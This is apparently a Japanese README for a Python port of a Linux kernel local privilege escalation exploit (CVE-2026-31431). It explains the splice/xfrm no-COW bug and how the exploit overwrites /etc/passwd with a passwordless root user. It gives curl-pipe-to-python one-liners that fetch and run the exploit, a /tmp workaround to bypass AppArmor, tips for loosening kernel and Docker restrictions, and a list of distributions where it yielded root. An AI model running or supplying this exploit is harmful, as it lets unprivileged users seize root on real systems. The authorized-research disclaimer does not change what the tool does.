
Linuxカーネルのローカル権限昇格エクスプロイトのPython実装。CVE-2026-31431を利用し、xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COWを悪用して/etc/passwdを上書きし、root権限を取得します。
xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 高速パスを利用したCopyFail2カーネルエクスプロイトのPython移植版。非特権Linuxユーザーによるローカル権限昇格を実現します。
/etc/passwd 内の nologin/false エントリをパスワードなしのuid-0ユーザーに置き換え、su 経由でrootシェルに移行します。
このカーネルバグは、xfrm ESP-in-UDPカプセル化で使用されるUDPスプライスパスに存在します。MSG_SPLICE_PAGES を指定してUDPソケットに splice() すると、コピーオンライトを発生させずにページが受信側のページキャッシュにマッピングされます。これにより、読み取り専用で開かれているファイルであっても、ページキャッシュにマッピングされている任意のファイルへの書き込みが可能になります。
libcrypto.so (OpenSSL)CAP_NET_ADMIN またはユーザー名前空間を作成する権限このリポジトリには2つのバリアントがあります。どちらも同じ結果を生成します。制約に応じて選択してください。
# パイプ経由のワンライナー
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# ファイルに保存して実行
python3 exploit.py
# 変更を元に戻す
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
apparmor_restrict_unprivileged_userns が有効なUbuntuでは、まずファイルを保存してからディスクから実行してください。パイプモードではAppArmor回避処理がスキップされます。
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd のバイトを目的の値にXORするAES-GCM IVをブルートフォースで探索します。127.0.0.1:4500 にローカルのxfrm ESP-in-UDP状態をインストールします。/etc/passwd の対象バイト、ICV)をパイプに splice() します。splice() し、カーネルバグをトリガーしてバイトをページキャッシュに書き込みます。nologin/false 行を sick::0:0:...:/:/bin/bash に上書きします。su - sick でrootに移行します(PAM nullok が空のパスワードを受け入れます)。cannot acquire CAP_NET_ADMIN
カーネルで kernel.unprivileged_userns_clone=0 が設定されている可能性があります。有効にしてください:
sudo sysctl kernel.unprivileged_userns_clone=1
Docker内で実行している場合は、--privileged または --cap-add=SYS_ADMIN を指定してコンテナを起動してください。
このツールは、認可されたセキュリティ研究および教育目的のみで提供されています。所有していないシステム、または明示的なテスト許可がないシステムに対して使用しないでください。著者は、このソフトウェアの誤用または損害について一切の責任を負いません。
| ファイル | 説明 | 速度 | 使用場面 |
|---|
exploit.py | 最適化版 — xfrm状態/ソケット/パイプを変異間で再利用し、1ラウンドあたり連続する2バイトをバッチ処理、固定スリープの代わりにアクティブポーリングを使用。 | 99バイト行で約3〜8秒 | デフォルトの選択肢。高速で安定しており、複数のディストリビューションでテスト済み。 |
exploit_raw.py | リファレンス版 — オリジナルのCコードに最も近い実装。1バイトごとに xfrm状態、ソケット、パイプ、一時ファイルを再作成し、変異ごとに固定200msのスリープを使用。 | 99バイト行で約30〜40秒 | 監査用に可能な限りシンプルなコードパスが必要な場合、または最適化版が特定のカーネルビルドで誤動作する場合に使用。 |
| ディストリビューション | カーネル | 結果 |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | 脆弱性なし |